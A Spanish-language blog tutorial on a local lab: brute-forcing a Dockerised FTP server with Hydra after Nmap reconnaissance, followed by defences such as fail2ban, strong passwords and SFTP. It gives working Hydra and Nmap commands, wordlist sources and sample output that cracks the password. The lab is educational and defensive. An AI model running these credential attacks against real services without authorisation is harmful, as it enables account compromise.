🥊💻 Fuerza bruta con Hydra en un FTP local
Últimamente, me he aficionado bastante a la ciberseguridad y estoy haciendo formaciones relacionadas con ella. Me parece una gran habilidad a aprender para que luego, al desarrollar, poder tener una visión más clara acerca de la seguridad de las mismas aplicaciones y riesgos en ellas.
En estas formaciones, una que me pareció interesante fue de cómo aplicar fuerza bruta a un FTP (File Transfer Protocol) para obtener acceso, vamos a ello.
🗨️ ¿Qué es la fuerza bruta en el ámbito de la ciberseguridad? “Fuerza bruta” se refiere a un método de ataque en el que un usuario malintencionado intenta descifrar los credenciales de acceso probando sistemáticamente todas las combinaciones posibles hasta encontrar la correcta.
🧰 Lo que necesitas
Para hacer esta práctica vamos a necesitar lo siguiente:
- Sistema Operativo Linux (Puede ser virtualizado)
- Docker
- Hydra
- Nmap (para el reconocimiento previo)
Todo esto se hace en localhost con un entorno controlado. Aplicar fuerza bruta contra sistemas ajenos sin autorización es ilegal. Esto es para aprender y entender cómo proteger tus propios servicios.
🐳 Montando el servidor FTP con Docker
Vamos a usar el siguiente repositorio en GitHub, es una imagen Docker que monta un FTP en local:
Para probar en localhost un servidor FTP que permita anonymous deberíamos ejecutar este otro docker:
Así que si vemos la documentación, nos encontramos que ejecutando lo siguiente:
docker run \
--detach \
--env FTP_PASS=123 \
--env FTP_USER=user \
--env PUBLIC_IP=192.168.0.1 \
--name my-ftp-server \
--publish 20-21:20-21/tcp \
--publish 40000-40009:40000-40009/tcp \
--volume /data:/home/user \
garethflowers/ftp-server
Vamos a poder levantar el contenedor Docker con el servidor FTP. Yo voy a modificar algunos parámetros, como por ejemplo el volume y el usuario. Para el volume pon algún directorio que exista en tu disco.
docker run \
--detach \
--env FTP_PASS=carolina \
--env FTP_USER=p0tato \
--env PUBLIC_IP=192.168.0.1 \
--name my-ftp-server \
--publish 20-21:20-21/tcp \
--publish 40000-40009:40000-40009/tcp \
--volume /data:/home/domin/test_ftp \
garethflowers/ftp-server
Ahora en la terminal si hacemos ftp localhost veremos que podemos intentar acceder al FTP.
(base) [domin@PC ~]$ ftp localhost
Connected to localhost.
220 FTP Server
Name (localhost:domin):
🔍 Reconocimiento con Nmap
Una vez tenemos ya nuestro FTP, lo primero antes de lanzar nada es hacer un reconocimiento. Esto es una buena costumbre: saber qué hay abierto y qué versiones de software se están ejecutando.
nmap -sCV 127.0.0.1
-sC: Ejecuta los scripts de detección por defecto de Nmap. -sV: Detecta las versiones de los servicios que se ejecutan en los puertos abiertos.
Si el output de nmap menciona que permite usuarios anonymous ya sabremos que podemos acceder al ftp sin credenciales. En ese caso ni necesitas fuerza bruta, el servicio ya está mal configurado de serie.
Scripts NSE específicos para FTP
Nmap tiene scripts específicos para FTP que te dan bastante chicha extra:
# Comprobar si permite login anónimo
nmap --script ftp-anon -p 21 127.0.0.1
# Obtener info del servidor (versión, sistema operativo del servidor, etc.)
nmap --script ftp-syst -p 21 127.0.0.1
# Buscar vulnerabilidades conocidas en el servicio FTP
nmap --script ftp-vuln* -p 21 127.0.0.1
El flag --script te permite lanzar scripts NSE (Nmap Scripting Engine) específicos. Muy útil para auditar un servicio antes de pasar a la fase de fuerza bruta. Siempre reconocimiento primero, ataque después.
1. ¿Qué flags de Nmap usamos para detectar versiones de servicios y ejecutar scripts por defecto?
🔑 Preparando el diccionario de passwords
Ahora para hacer el test con Hydra necesitamos un diccionario de contraseñas. Podemos hacernos uno de test rápido:
nano passwords.txt
🗨️ ¿Qué es Hydra? Hydra es una herramienta de ciberseguridad utilizada para realizar ataques de fuerza bruta automatizados y descifrar contraseñas en múltiples servicios y protocolos, siendo ampliamente empleada en pruebas de penetración y auditorías de seguridad.
E introducimos los siguientes por ejemplo, o cualquier otro a modo de prueba:
manolo
patatas
pistola
paquete
qwerty
cerveza
guisante
carolina
Diccionarios reales: rockyou.txt
En un pentesting de verdad no vas a usar un fichero de 8 palabras, claro. El diccionario más conocido es rockyou.txt, que contiene más de 14 millones de contraseñas reales que se filtraron de una brecha de seguridad en 2009. Si usas Kali Linux lo tienes ya incluido:
# Ubicación por defecto en Kali
ls /usr/share/wordlists/rockyou.txt.gz
# Descomprimir si es la primera vez
gunzip /usr/share/wordlists/rockyou.txt.gz
# Ver cuántas passwords tiene
wc -l /usr/share/wordlists/rockyou.txt
# 14344392 líneas
También existen herramientas como CeWL que generan diccionarios personalizados a partir del contenido de una web (útil si el objetivo tiene una web pública), o Crunch que genera combinaciones a medida según las reglas que le pongas. Pero para esta práctica en local, con nuestro fichero de prueba nos vale de sobra.
🧨 Lanzando Hydra
Y ahora viene lo bueno. Ejecutamos Hydra para aplicar fuerza bruta usando nuestro diccionario:
hydra -l p0tato -P passwords.txt ftp://127.0.0.1 -t 15
Vamos a destripar cada flag para que quede claro qué hace cada uno:
Flag | Descripción |
|---|---|
-l p0tato | Login fijo. Usamos el usuario que configuramos en el Docker. |
-P passwords.txt | Lista de contraseñas a probar (nuestro diccionario). |
ftp://127.0.0.1 | Protocolo y dirección del objetivo. |
-t 15 | Número de tareas en paralelo (hilos). Más hilos = más rápido, pero ojo con pasarte que puedes saturar el servicio. |
Más flags útiles de Hydra
Hay algunos flags más que te van a servir en algún momento:
# Si no conoces el usuario, también puedes usar un diccionario de usuarios
hydra -L users.txt -P passwords.txt ftp://127.0.0.1 -t 15
# Verbose mode para ver cada intento que hace
hydra -l p0tato -P passwords.txt ftp://127.0.0.1 -t 15 -V
# Guardar la salida en un fichero
hydra -l p0tato -P passwords.txt ftp://127.0.0.1 -t 15 -o resultado.txt
# Reanudar un ataque que interrumpiste
hydra -R
-L(ele mayúscula): En vez de un login fijo, usa un diccionario de usuarios.-V: Modo verbose, te muestra cada intento. Útil para ver que la cosa funciona y no se ha quedado colgada.-o: Guarda los resultados en un fichero para revisarlos luego.-R: Reanuda la última sesión si la cortaste a medias.
✅ Resultado
Si Hydra consigue el objetivo con el diccionario proporcionado, el output sería tal que así:
(base) [domin@PC ~]$ hydra -l p0tato -P passwords.txt ftp://127.0.0.1 -t 15
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-04-24 20:32:50
[DATA] max 8 tasks per 1 server, overall 8 tasks, 8 login tries (l:1/p:8), ~1 try per task
[DATA] attacking ftp://127.0.0.1:21/
[21][ftp] host: 127.0.0.1 login: p0tato password: carolina
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-04-24 20:32:54
La línea clave es esta:
[21][ftp] host: 127.0.0.1 login: p0tato password: carolina
Hydra ha encontrado que el usuario p0tato tiene la contraseña carolina. En 4 segundos. Y eso con un diccionario
de 8 palabras. Imagina con rockyou.txt y una contraseña débil, da bastante yuyu.
2. ¿Qué flag de Hydra usarías si NO conoces el nombre de usuario y quieres probar con un diccionario de usuarios?
🛡️ ¿Cómo te defiendes de esto?
Está muy bien saber atacar, pero la gracia de todo esto es aprender a defenderte. Si tienes un servicio FTP (o SSH, o lo que sea) expuesto, aquí van algunas medidas que deberías aplicar sí o sí.
1. Contraseñas fuertes
Parece obvio pero la cantidad de servicios con admin:admin o root:123456 que hay por ahí es para echarse a llorar. Una contraseña larga (12+ caracteres) con mezcla de mayúsculas, minúsculas, números y símbolos hace que un ataque de diccionario sea prácticamente inviable. Si no aparece en rockyou.txt, ya vas bien.
2. fail2ban
fail2ban monitoriza los logs de tu servidor y bloquea IPs que fallen demasiadas veces al autenticarse. Es tu mejor amigo contra fuerza bruta:
# Instalar fail2ban
sudo apt install fail2ban
# La config para FTP (vsftpd) se suele meter aquí
sudo nano /etc/fail2ban/jail.local
[vsftpd]
enabled = true
port = ftp,ftp-data
filter = vsftpd
logpath = /var/log/vsftpd.log
maxretry = 3
bantime = 3600
Con esto, tras 3 intentos fallidos, la IP queda baneada una hora. Bye bye Hydra.
3. Deshabilitar acceso anónimo
Si no necesitas acceso anónimo (y probablemente no lo necesitas), desactívalo en la config de tu servidor FTP:
# En vsftpd.conf
anonymous_enable=NO
4. Usa SFTP en vez de FTP
Esto es importante. FTP envía las credenciales en texto plano. Sí, así de crudo. Cualquiera haciendo sniffing en la red ve tu usuario y contraseña tal cual. SFTP (SSH File Transfer Protocol) cifra toda la comunicación. Si puedes, migra a SFTP y olvídate de FTP.
5. Cambia el puerto por defecto
No es seguridad real (se llama “security through obscurity”), pero mover el servicio del puerto 21 al 2121 o cualquier otro te quita de encima a los bots automáticos que escanean puertos estándar. No es una solución por sí sola, pero combinado con las otras medidas, suma.
3. ¿Cuál de estas medidas es la MÁS efectiva contra ataques de fuerza bruta?
🔧 Alternativas a Hydra
Hydra no es la única herramienta para esto. Hay otras que merece la pena conocer:
- Medusa: Similar a Hydra pero con un diseño modular. Soporta FTP, SSH, HTTP y bastantes más.
- Ncrack: Desarrollada por el equipo de Nmap. Bastante rápida y bien integrada con el ecosistema Nmap.
- Patator: Escrita en Python, es muy flexible si necesitas personalizar los ataques a medida.
Para empezar, Hydra es la más popular y la que mejor documentación tiene con diferencia.
🧹 Limpieza
Cuando acabes la práctica, no te olvides de parar y eliminar el contenedor Docker:
docker stop my-ftp-server && docker rm my-ftp-server
Que luego se te quedan contenedores zombis por ahí y un día te preguntas por qué el puerto 21 está ocupado.
Pon a prueba lo aprendido
4. ¿Por qué es recomendable usar SFTP en vez de FTP?
5. ¿Qué hace fail2ban para proteger un servicio contra fuerza bruta?
Y esto sería todo, ea nos leemos! 🍻